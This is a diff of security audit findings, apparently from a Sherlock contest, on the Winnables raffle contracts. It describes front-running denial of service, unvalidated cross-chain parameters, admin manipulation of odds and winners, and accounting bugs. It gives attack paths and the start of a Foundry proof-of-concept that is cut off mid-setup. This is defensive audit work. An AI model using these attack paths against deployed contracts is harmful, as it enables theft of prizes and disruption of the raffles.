ok. 1 passed; +``` +from this test result we can observe that the chainSelector has been encoded to the bytes32 returned and not only the address + +### Mitigation + +Instead of casting after the bitwise operation, cast before the operation +```diff + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( +- uint256(uint160(contractAddress)) | uint256(chainSelector << 160)); ++ uint256(uint160(contractAddress)) | uint256(chainSelector) << 160); + } + +``` \ No newline at end of file diff --git a/001/073.md b/001/073.md new file mode 100644 index 0000000..4da331c --- /dev/null +++ b/001/073.md @@ -0,0 +1,73 @@ +Blunt Mulberry Wombat + +High + +# Lack of parameter validation in `propagateRaffleWinner` Leads to failed prize claims on mainnet + +## Summary +The `propagateRaffleWinner` function can be exploited by providing incorrect `prizeManager` and `chainSelector` parameters, leading to a situation where the raffle is marked as propagated, but the winner is unable to claim their prize on the mainnet. + +## Vulnerability Detail +After a raffle is drawn and a winner is determined via Chainlink VRF, anyone can call the `propagateRaffleWinner` function to propagate the winner's information to the mainnet, allowing the winner to claim their prize: +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + +>>> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} + +function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { // @audit Only basic checks + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend( + ccipDestChainSelector, + message + ); +} +``` +As seen above, the raffle status is set to `PROPAGATED` and `_lockedETH` is decremented immediately after the function is called. However, the function does not perform adequate checks on the `prizeManager` address or the `chainSelector`. As a result, a malicious user could provide an unsupported chain or an incorrect `prizeManager` address. This would result in the transaction being marked as successful on the source chain (with the raffle status set to `PROPAGATED` and `_lockedETH` decremented), but the Prize Manager contract on the mainnet would not be notified about the raffle's winner. Consequently, the winner would be unable to claim their prize on the mainnet. +## Impact +A malicious user can exploit this vulnerability by calling `propagateRaffleWinner` with incorrect `prizeManager` or `chainSelector` values, causing the raffle to be incorrectly marked as propagated on Avalanche, while the winner would be unable to claim their prize on the mainnet. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L340 +## Tool used + +Manual Review + +## Recommendation +Consider restricting the `propagateRaffleWinner` function to be callable only by an admin, or implement additional checks to validate the `prizeManager` and `chainSelector` parameters. \ No newline at end of file diff --git a/001/074.md b/001/074.md new file mode 100644 index 0000000..c8f0e11 --- /dev/null +++ b/001/074.md @@ -0,0 +1,101 @@ +Faint Ginger Urchin + +High + +# Users using account abstraction will not be able to claim prizes + +## Summary + +Users with account abstraction wallets have a different address across different chains for same account, so if someone using an account abstraction wallet wins raffle on Avalanche chain, he will not be able to claim the prize on Ethereum chain. + +## Vulnerability Detail + +When the winner is drawn in `WinnablesTicketManager` (Avalanche chain). The winning address is propagated using Chainlink CCIP. + +```javascript +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} +``` + +`_sendCCIPMessage` uses `winner` address which is taken from `_getWinnerByRequestId`. `_getWinnerByRequestId` draws a winning address from addresses that bought tickets. The issue is that winner's address on Avalanche Chain might be different from address on Ethereum Chain, if he uses Account Abstraction. + +Protocol expects users to use contracts in raffle because it implements `_doSafeTransferAcceptanceCheck` in `WinnablesTicket` contract. `_doSafeTransferAcceptanceCheck` validates, if the caller is a contract. If yes, it calls `onERC1155Received` to check if contract implements necessary functionality. + +```javascript +/// @dev If the recipient of a ticket is a contract, check that it is a valid receiver + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount + ) private { + if (to.isContract()) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, "") returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert TransferRejected(); + } + } catch { + revert TransferRejected(); + } + } + } +``` + +When user wins the raffle, his address from Avalanche chain will be sent with CCIP to Ethereum chain. + +```javascript +function _ccipReceive( + Client.Any2EVMMessage memory message +) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); +} +``` + +`_rafflePrize[raffleId].winner = winner;` + +Decoded winner address is set as a raffle winner. User will not be able to claim his prize as he is not in possesion of the winner address on Ethereum Chain. + +## Impact + +User will not be able to claim his prize after winning a raffle if he uses account abstraction. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicket.sol#L218-L234 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 + +## Tool used + +Manual Review, Hardhat + +## Recommendation + +Create a new parameter in `buyTickets` function and allow user to pass his Ethereum address as a prize receiver on that chain. \ No newline at end of file diff --git a/001/077.md b/001/077.md new file mode 100644 index 0000000..84faf7e --- /dev/null +++ b/001/077.md @@ -0,0 +1,67 @@ +Expert Cloud Goldfish + +High + +# Anyone can DOS the `createRaffle()` function via front-running it with a `cancelRaffle()` + +### Summary + +Anyone can cancel a raffle with `PRIZE_LOCKED` status. This creates an easy way to stop the protocol from creating any raffle via front-running. + +### Root Cause + +`cancelRaffle()` function at `WinnableTicketManager` can be called by anyone on raffles with the `PRIZE_LOCKED` state. + +### Internal pre-conditions + +Does not apply. + +### External pre-conditions + +Does not apply. + +### Attack Path + +1. Admin locks prize on Ethereum mainnet. Any `lock()` func that trigges a `ccipSend()`. +2. After CCIP is completed CCIP router ends up calling `_ccipReceive()`, setting the raffle state to `PRIZE_LOCKED` +3. Admins, now in Avalanche, call `createRaffle()` yet malicious attacker front-runs them and calls `cancelRaffle()`. +4. It is true that the locked prize will be unlocked in ethereum for the admins again, but no-raflle will be ever carried out. + +### Impact + +Cretaion of raffles can be easily DOS by anyone. As the protocol implements a simple mechanism for raffles, other competitors in the raffle business or really anyone with malicious intentions on the space can leverage this to completely DOS the protocol as no raffle won't be ever started. + +### PoC + +As you can see in `cancelRaffle()` at `WinnableTicketManager` there is this check: `_checkShouldCancel()`. If the state is `PRIZE_LOCKED` this check will pass. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436). Also `cancelRaffle()` can be called by anyone. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278), no `onlyRole(X)` modifier nor any revert related to `msg.sender` along its code. + +`PRIZE_LOCKED` is only set when a cross-chain tx arrives and calls `_ccipReceive()`. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L381). After that to create the raffles the admins call `createRaffle()` and set the status to `IDLE`. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L264). But anyone can front-run this call and call `cancelRaffle()` with the `raffleId` and the raffle will be cancelled. + +Notice that this can't be fixed with a multicall as `_ccipReceive()` can only be called by the CCIP router. See [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPReceiver.sol#L34). So the protocol must always backrun this tx to create a raffle, yet this opens the posibilty for anyone to front-run the creation of raffles and cancel them. + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + // 1️⃣🔽🟢🔽 SEE HERE, if raffle PRIZE_LOCKED the check passes and raffle is cancelled + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} + +// 2️⃣🔽🟢🔽 SEE HERE, cancelRaffle() can be called by anyone +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + // 3️⃣🔽🟢🔽 SEE HERE, raffle cancelled + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} +``` + +### Mitigation + +If the raffle status is `PRIZE_LOCKED` and the caller of `cancelRaffle()` is not the admin (`onlyRole(0)`), the function must revert. \ No newline at end of file diff --git a/001/078.md b/001/078.md new file mode 100644 index 0000000..1284ccf --- /dev/null +++ b/001/078.md @@ -0,0 +1,37 @@ +Proud Cotton Rooster + +High + +# Incorrect balance check logic causes `withdrawTokens` function to fail + +## Summary +The [withdrawTokens](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292) function in the contract has a critical logical error in its balance check. The current check incorrectly prevents valid withdrawals, leading to potential operational disruptions and locked funds. This issue arises from the incorrect condition used to compare the requested withdrawal `amount` with the contract’s token `balance`. +## Vulnerability Detail +The `withdrawTokens` function checks if the amount to be withdrawn is `less than` the contract’s `balance` (balance). If this condition is met, the function reverts with an `InsufficientBalance` error. +The incorrect condition leads to the function reverting for all valid withdrawal requests where `amount` is `less than` `balance`, making it `impossible` to withdraw tokens even when the contract has sufficient balance. This error affects the fundamental operation of the function, preventing the intended recovery or management of tokens. +## Impact +* Operational Breakdown: The primary impact is that the withdrawTokens function will not operate as expected, preventing the withdrawal of tokens. This results in the function being effectively unusable in most scenarios. +* Locked Funds: Tokens that are intended to be recoverable or manageable by the admin will remain locked in the contract. This could prevent the admin from accessing or retrieving tokens accidentally sent to the contract. +* Disruption: The issue could disrupt contract operations, especially if the contract is meant to handle substantial amounts of ERC20 tokens or if the tokens need to be periodically withdrawn. +## Code Snippet +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); <--- + token.safeTransfer(msg.sender, amount); + } +``` +## Tool used + +Manual Review + +## Recommendation +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount > balance) revert InsufficientBalance(); // Correct check + token.safeTransfer(msg.sender, amount); +} +``` \ No newline at end of file diff --git a/001/079.md b/001/079.md new file mode 100644 index 0000000..7a8391a --- /dev/null +++ b/001/079.md @@ -0,0 +1,49 @@ +Blunt Mulberry Wombat + +High + +# Admins can influence the odds of raffles + +## Summary +Admins can influence the odds of a raffle by minting additional tickets after the random word is fulfilled by Chainlink VRF. This breaks the core invariant that admins should not influence raffle odds. + +## Vulnerability Detail +The contest readme explicitly states that admins should not have any means to influence the odds of a raffle: +> The principles that must always remain true are: +> - **Admins cannot affect the odds of a raffle** + +The raffle winner is determined after the Chainlink VRF fulfills the random word, with the winner calculated based on the random word and the raffle's ticket supply using the formula `randomWord % supply`: +```solidity +function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); +>>> uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); +} +``` +The issue is that after the random word is fulfilled—meaning after the [fulfillRandomWords](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361) function is called and the random word is known. At this point, the admin can determine the random word and exploit it by calling the [WinnablesTicket::mint](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function to mint additional tickets. By increasing the ticket supply, the admin can manipulate the outcome of the raffle, thereby controlling who wins: +```solidity +// WinnablesTicket::mint +function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + // ... + + unchecked { + _balances[id][to] += amount; +>>> _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + // ... +} +``` +## Impact +Core invariant is broken: Admins can influence the odds of a raffle +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L475 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicket.sol#L182-L199 +## Tool used + +Manual Review + +## Recommendation +consider restricting the `WinnablesTicket::mint` function so that it can only be called by the `WinnablesTicketManager`. \ No newline at end of file diff --git a/001/080.md b/001/080.md new file mode 100644 index 0000000..d6e340b --- /dev/null +++ b/001/080.md @@ -0,0 +1,49 @@ +Expert Cloud Goldfish + +High + +# Refunds stuck future profit in the contracts + +### Summary + +The refund mechanism in case of cancelled raffle has bad accounting which leads to funds stuck. + +### Root Cause + +At `refundPlayers()` funds previously accounted as `_lockedETH` are not substracted from the state when withdrawn from the system. + +### Internal pre-conditions + +Does not apply. + +### External pre-conditions + +Does not apply. + +### Attack Path + +1. Admin creates a raffle. +2. Anyone participate via `buyTickets()` and `msg.value` sent is locked from withdrawals at `_lockedETH`. (lets say `msg.value = 10`) +3. Raffle ends up being cancelled for any valid reasons, like minimum tickets not reached. +4. Client calls `refundPlayers()` to get the funds back. He gets them, balance of contract == 0. +5. Yet the `_lockedETH` value is the same. +6. Another raffle is created. +7. A bucnh of people call `buyTickets()` and send `msg.value` to the contract. Increase by 50 lets say. Total value earned by the raffle to the protocol is 50. `TotalRaised==50, _lockedETH==10+50==60, address(this).balance==50`. +8. Raffle ends and `propagateRaffleWinner()` is called, unlocking raised funds. `_lockedETH==60-50==10`. +9. Admin calls `withdrawETH()`, and `balance=address(this).balance - _lockedETH` is calculated. `balance==50-10==40`. 40 is withdrawn yet the value raised is 50 and all of it should be withdrawable. + +### Impact + +Every refunded amount will end up stucking in the contract that amount and actually the loss is taken by the protocol from future raffles revenue. + +### PoC + +`_lockedETH` is only altered in 3 parts of the code: `buyTickets()` ([here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206)), `propagateRaffleWinner()` ([here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L343)), `withdrawETH()` ([here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L303)). + +Follow the attack path calls and see the links to easily see the execution path is correct. + +I will add a PoC executable code if I got enough time later. + +### Mitigation + +Substract at `refundPlayers()` the amounts refunded from the `_lockedETH` state. \ No newline at end of file diff --git a/001/081.md b/001/081.md new file mode 100644 index 0000000..f3f7da9 --- /dev/null +++ b/001/081.md @@ -0,0 +1,48 @@ +Breezy White Swallow + +High + +# In `WinnablesTicketManager`, an attacker can prevent CCIP messages in `cancelRaffle` and `propagateRaffleWinner` from being sent to `prizeManager` in the destination chain + +### Summary + +In `WinnablesTicketManager`, `prizeManager` is taken as an input argument in +`cancelRaffle` and `propagateRaffleWinner` which will cause the CCIP messages can not be sent to `prizeManager` in the destination chain as an attacker will set the wrong `prizeManager`. + +### Root Cause + +In `WinnablesTicketManager`, `prizeManager` is taken as an input argument in +`cancelRaffle` and `propagateRaffleWinner` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. In `WinnablesTicketManager`, an attacker will set `prizeManager` in `cancelRaffle` and `propagateRaffleWinner` to the wrong address. The attacker can pay higher gas to guarantee the malicious transaction will be executed before the honest transaction (the transaction that call to `cancelRaffle` and `propagateRaffleWinner` with correct `prizeManager`) +2. In `cancelRaffle`, because the `_raffles[raffleId].status` is set to `RaffleStatus.CANCELED`, no one can call `cancelRaffle` for the raffle with `raffleId` again to resend the CCIP message. +3. In `propagateRaffleWinner`, because the `_raffles[raffleId].status` is set to `RaffleStatus.PROPAGATED`, no one can call `propagateRaffleWinner` for the raffle with `raffleId` again to resend the CCIP message. + +### Impact + +If the `prizeManager` in the destination chain does not receive CCIP message then: +- For `cancelRaffle`, the raffle is not cancelled, which will cause the locked prize can not be claimed back. +- For `propagateRaffleWinner`, because `_rafflePrize[raffleId].winner` is not set, the winner can not call `WinnablesPrizeManager#claimPrize` to claim the prize. + +### PoC + +_No response_ + +### Mitigation + +1. In `WinnablesTicketManager`, remove the `prizeManager` from the input arguments in `cancelRaffle` and `propagateRaffleWinner`. +2. Make `prizeManager` into a storage variable, which can only be set by the admin. \ No newline at end of file diff --git a/001/082.md b/001/082.md new file mode 100644 index 0000000..0791e72 --- /dev/null +++ b/001/082.md @@ -0,0 +1,33 @@ +Tall Brown Goose + +High + +# Anyone can call propagateRaffleWinner on WinnablesTicketManager with arbitrary function arguments + +## Summary + +Function `propagateWinner` accepts user provided arguments for `prizeManager` and `chainSelector` AND it does not have any access control mechanism as well. This means the function can call arbitrary cross-chain contract and end up with updated state without the `WinnablesPrizeManager.sol` knowing anything about the new winner. + +## Vulnerability Detail + +The contract does not check if the `prizeManager` and `chainSelector` are real/system contracts on the other chain. This means an attacker call his own contracts on other chain that do nothing with the information received - however `WinnablesTicketManager.sol` contract ends up with updated state. + +`_raffles[raffleId].status = RaffleStatus.PROPAGATED;` - because of this, winner can not be propagated again. + +## Impact + +Winner is not known on `WinnablesPrizeManager.sol` contract - he can not claim his rewards. Rewards are stuck. + +This is under the assumption the raffle is in `FULFILLED` state. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334C1-L345C6 + +## Tool used + +Manual Review + +## Recommendation + +Use stored cross-chain counterpart contracts for cross-chain messages - not user provided ones. diff --git a/001/083.md b/001/083.md new file mode 100644 index 0000000..7fb569d --- /dev/null +++ b/001/083.md @@ -0,0 +1,66 @@ +Amusing Boysenberry Kitten + +High + +# Malicious users can cancel all raffles when the raffle status is changed to `PRIZE_LOCKED` + +## Summary +When the raffle status is changed to `PRIZE_LOCKED`, malicious users can cancel the raffle before the admin creates one raffle via `createRaffle`. This may cause all raffles cancelled by malicious users. + +## Vulnerability Detail +Admin in Ethereum locks tokens/NFT/Ether and send messages to Avalanche. When WinnablesTicketManager receives this message and changes the raffle status to `PRIZE_LOCKED`. The expected behavior is that the admin will create one raffle via `createRaffle`. +The problem is that raffle with status `PRIZE_LOCKED` can be cancelled by anyone. Once the raffle is cancelled, the admin cannot create this raffle. Malicious users can monitor the on-chain event, and cancel all raffles to cause the whole system dos. + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + // Decode message, source contract address. + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + // Check whether this is valid. + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + // Create one new raffle. + if (_raffles[raffleId].status != RaffleStatus.NONE) { + ... + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + } + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + // Send Cancel to PrizeManager, to unlock the prize. + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + // If the raffle does not end, cannot cancel. + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` + +## Impact +Malicious users can monitor the on-chain event, and cancel all raffles to cause the whole system dos. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 + +## Tool used + +Manual Review + +## Recommendation +The raffle in `PRIZE_LOCKED` status should be cancelled. \ No newline at end of file diff --git a/001/085.md b/001/085.md new file mode 100644 index 0000000..e4e62a2 --- /dev/null +++ b/001/085.md @@ -0,0 +1,59 @@ +Amusing Boysenberry Kitten + +High + +# Malicious users can manipulate prizeManager/chainSelector in cancelRaffle() + +## Summary +When malicious users trigger cancelRaffle(), the user inputs one unmatch `prizeManager` & `chainSelector` compared with Ethereum/WinnablesPrizeManager. This will cause the WinnablesPrizeManger in Ethereum cannot receive this message, and the initial prize funds will be locked in the contract. + +## Vulnerability Detail +If the raffle is in `PRIZE_LOCKED` status or bought tickets don't exceed the minimum ticket threshold, the raffle needs to be cancelled. When we cancel this raffle, one message will be sent to Ethereum chain's `WinnablesPrizeManager` contract. The contract will parse the message and unlock the prize funds. +The problem is that input parameter `prizeManager` & `chainSelector` in cancelRaffle() can be manipulated. This will cause the message will not sent to our expected Ethereum chain's `WinnablesPrizeManager` contract. And this raffle's prize will not be unlocked because of missing message. + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + // Send Cancel to PrizeManager, to unlock the prize. + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + // Check the msg's source chain and source contract. + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } + ... + } +``` + +## Impact +Initial prize funds cannot be unlocked if the cancel raffle's message is sent to the wrong chain or wrong contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 + +## Tool used + +Manual Review + +## Recommendation +Add input parameter check in cancelRaffle() to make sure the message will be sent to the right chain, right contract. \ No newline at end of file diff --git a/001/086.md b/001/086.md new file mode 100644 index 0000000..0924243 --- /dev/null +++ b/001/086.md @@ -0,0 +1,199 @@ +Obedient Green Aphid + +High + +# Admins can change raffle's winner in favor of themself + +### Summary + +As mentioned in readme +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +but there is some way that allow admins to change winner of raffle + +### Root Cause + +`WinnablesTicketManager` and `WinnablesPrizeManager` send messages to each other through CCIP but before send messages to each other they have to set ccip counterpart to allow receive messages,Admin can set every contract as a counterpart for `WinnablesTicketManager` and `WinnablesPrizeManager`, and when chainlink nodes call fullfill `WinnablesTicketManager::fulfillRandomWords` raffle will be prepared to propagated and anyone can call `WinnablesTicketManager::propagateRaffleWinner` to propagate winner to `WinnablesPrizeManager` and after that winners can claim their prizes but admin can change winner easily + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L276 + +### Attack Path + +1-`WinnablesTicketManager::fulfillRandomWords` will be called by chainlink providers +2-Alice call `WinnablesTicketManager::propagateRaffleWinner` and Bob will be selected as winner +3-Admin create a new contract and set that as counterpart for `WinnablesPrizeManager` +4-Admin sendMessage to `WinnablesPrizeManager` from new counterpart and pass arbitrary address as a winner +5-when Bob call `WinnablesPrizeManager::claimPrize` get UnauthorizedToClaim error + +### Impact + +winners cannot claim their prizes + +### PoC + +run `forge init --force` in root of project and create new test file and pass below code in that and then run `forge test testChangeWinnerByAdmin -vvv` also for run this test u need install [chainlink-local](https://github.com/smartcontractkit/chainlink-local) +```solidity +pragma solidity 0.8.24; +import {Test} from "forge-std/Test.sol"; +import { WinnablesPrizeManager} from "public-contracts/contracts/WinnablesPrizeManager.sol"; +import { WinnablesTicketManager} from "public-contracts/contracts/WinnablesTicketManager.sol"; +import { WinnablesTicket} from "public-contracts/contracts/WinnablesTicket.sol"; + + + +import {IRouterClient, WETH9, LinkToken, BurnMintERC677Helper} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol"; +import {VRFCoordinatorV2BetterMock} from "public-contracts/contracts/mock/VRFCoordinatorV2BetterMock.sol"; +import {CCIPLocalSimulator} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol"; +import "forge-std/console2.sol"; + +import {BaseCCIPSender} from "public-contracts/contracts/BaseCCIPSender.sol"; +import {BaseCCIPReceiver, Client} from "public-contracts/contracts/BaseCCIPReceiver.sol"; +import { BaseCCIPContract } from "public-contracts/contracts/BaseCCIPContract.sol"; +import { BaseLinkConsumer} from "public-contracts/contracts/BaseLinkConsumer.sol"; +import {IWinnables} from "public-contracts/contracts/interfaces/IWinnables.sol"; +import "public-contracts/contracts/interfaces/IWinnablesTicketManager.sol"; +import "public-contracts/contracts/interfaces/IWinnablesPrizeManager.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + + +contract PrizeManagerTest is Test { + WinnablesPrizeManager prizeManager; + CCIPLocalSimulator public ccipLocalSimulator; + WinnablesTicketManager ticketManager; + VRFCoordinatorV2BetterMock mock; + WinnablesTicket ticket = new WinnablesTicket(); + ArbitraryWinner arbitraryWinner; + uint64 _chainSelector; + bool once = true; + function setUp() public { + + ccipLocalSimulator = new CCIPLocalSimulator(); + + ( + uint64 chainSelector, + IRouterClient sourceRouter, + IRouterClient destinationRouter, + WETH9 wrappedNative, + LinkToken linkToken, + BurnMintERC677Helper ccipBnM, + BurnMintERC677Helper ccipLnM + ) = ccipLocalSimulator.configuration(); + _chainSelector = chainSelector; + + ccipLocalSimulator.requestLinkFromFaucet(address(this), 1000e18); + mock = new VRFCoordinatorV2BetterMock(address(linkToken), 0, 0); + uint64 subscriptionId = mock.createSubscription(); + prizeManager = new WinnablesPrizeManager(address(linkToken), address(sourceRouter)); + + ticketManager = new WinnablesTicketManager( + address(linkToken), + address(mock), + subscriptionId, + "", + address(ticket), + address(destinationRouter) + + + ); + 